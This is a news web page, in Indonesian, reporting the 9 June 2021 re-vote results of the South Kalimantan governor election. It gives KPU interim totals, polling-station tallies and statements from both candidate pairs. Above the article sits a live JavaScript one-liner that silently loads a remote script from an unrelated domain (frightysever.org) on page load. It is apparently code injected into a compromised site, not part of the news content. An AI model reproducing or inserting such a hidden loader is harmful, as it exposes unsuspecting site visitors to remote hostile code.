(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Hasil Pemungutan Suara Ulang (PSU) Pilgub Kalsel yang digelar Rabu (9/6/2021), memenangkan pasangan Sahbirin Noor-Muhidin!. Data perolehan hasil penghitungan sementara KPU, Sahbirin memperoleh 112.472 suara, sedangkan rivalnya Denny Indrayana hanya meraih 45.814 suara.
Data tersebut diperoleh Kanalkalimantan.com, dari hasil website Pilkada2020.KPU.go.id pada pukul 14.00 Wita. Dimana dari perolehan kedua paslon, ada paut suara cukup tajam yakni sebesar 57.658 suara untuk kemenangan paslon incumbent.
Dari data terlihat, Sahbirin-Muhidin menyapu bersih perolehan suara di 7 kecamatan. Yakni Kecamatan Banjarmasin Selatan, Kota Banjarmasin, Kecamatan Aluh-aluh, Martapura, Astambul, Mataraman, Sambung Makmur, Kabupaten Banjar dan Kecamatan Binuang, Tapin.
Selengkapnya Lihat Tabel:
Kemenangan Sahbirin Noor-Muhidin di antaranya terlihat di TPS yang ada di Kelurahan Murung Raya, Kecamatan Banjarmasin Selatan, yaitu TPS 11, 12 dan 13, diketahui untuk perolehan suara didominasi pasangan calon nomor urut 1 yaitu BirinMu.
Hasil penghitungan surat suara hasil coblosan di TPS 11, BirinMu unggul dengan perolehan suara sebanyak 111 suara. Sedangkan untuk paslon nomor urut 2 Denny Indrayana-Difriadi Darjat memperoleh suara 93 suara, dari total jumlah 343 pemilih. Dimana dengan jumlah pengguna hak pilih sebanyak 214 orang dan tercatat ada 10 suara tidak sah.
Pun demikian di tiga TPS Desa Pasayangan Utara, Kecamatan Martapura, yakni TPS 01, TPS 02 dan TPS 03, Sahbirin-Muhidin unggul telak. Ketua KPPS TPS 01 Desa Pasayangan Utara, Hariyati (28) mengatakan, hasil penghitungan surat suara di TPS 01 Paslon nomor urut 1 H Sahbirin Noor-H Muhidin (BirinMu) memperoleh 146 suara. Sedangkan paslon H Deny Indrayana-Difriadi Drajat (H2D) mendapatkan 32 suara.
Di TPS 02 Desa Pasayangan Utara paslon nomor urut 1 H Sahbirin Noor-H Muhidin (BirinMu) memperoleh 159 suara. Paslon nomor urut 2 H Deny Indrayana-Difriadi Darjat (H2D) mendapatkan 52 suara. Surat suara yang tidak sah ada 15 suara dan surat suara yang sah sebanyak 211 suara.
Sementara hasil penghitungan surat suara di TPS 03 paslon nomor urut 1 H Sahbirin Noor-H Muhidin (BirinMu) memperoleh 120 suara. Paslon nomor urut 2 H Denny Indrayana-Difriadi (H2D) mendapatkan 62 suara. Surat suara yang tidak sah ada 11 suara dan surat suara sah 182 suara.
Terkait hasil tersebut, calon Wakil Gubernur Muhidin mengatakan, kalau dirinya mengucapkan terima kasih kepada masyarakat, atas kepercayaan yang diberikan kepada paslon nomor urut 1 yaitu BirinMu.
” Alhamdullilah, untuk di wilayah Kota Banjarmasin sendiri, kita unggul dengan perolehan suara kurang lebih sekitar 20 ribu suara,” ujar Muhidin, kepada awak media, Rabu (9/6/2021) sore.
Di sisi lain, paslon nomor 2, Denny Indrayana- Difriadi menegaskan akan kembali menempuh jalur sengketa Pilgub di Mahkamah Konstitusi (MK). Hal tersebut ditegaskan Haji Denny -panggilan Denny Indrayana saat menggelar jumpa pers di rumahnya di Gang Purnama, Banjarbaru.
“Kami mencatat beberapa persoalan mendasar yang perlu dikritisi. Masalah ini memang cenderung klise dan berulang. Seperti masalah DPT, masih banyak pemilih yang kehilangan hak pilihnya. Atau secara sengaja tak mendapat undangan,” katanya.
Di luar itu, Haji Denny mengatakan masih tetap maraknya politik uang.
“Kami tak henti-hentinya untuk melawan, tapi di lapangan ada gesekan antara yang memberi serangan fajar dengan tim kami yang ingin menjaga tak terjadi transaksi suara. Catatan kritis ini harus kami sampaikan, bahwa perjuangan menjaga pemilu yang jurdil masih hadapi tantangan yang tak mudah,” tegasnya.
Dengan mempertimbangkan secara hati hati, Haji Denny mengatakan setelah diskusi dengan partai koalisi, relawan, dan tim hukum, akan mempertimbangkan terus memperjuangkan nasib masyarakat Kalsel yang dititip pada paslon H2D.
“Kami memilih untuk terus memperjuangkan itu, sampai titik peluh penghabisan. Tentunya tetap dengan cara yang dibenarkan undang-undang,” kata guru besar hukum tata negara ini.
Apa pun nanti, Haji Denny menyampaikan maaf kepada masyarakat Kalsel karena harus ada proses panjang lagi sambil menunggu putusan MK. “Ada proses 1 bulan yang hasilnya akan kita hormati. Dan tidak ada proses lain yang kami lakukan setelah itu,” tegasnya. (kanalkalimantan.com/shintia/dewi/tius)
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Tim Banjarbaru Haram Manyarah (Hanyar) yang mengawal hasil Pemilihan Wali Kota dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More
KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More
KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More
This website uses cookies.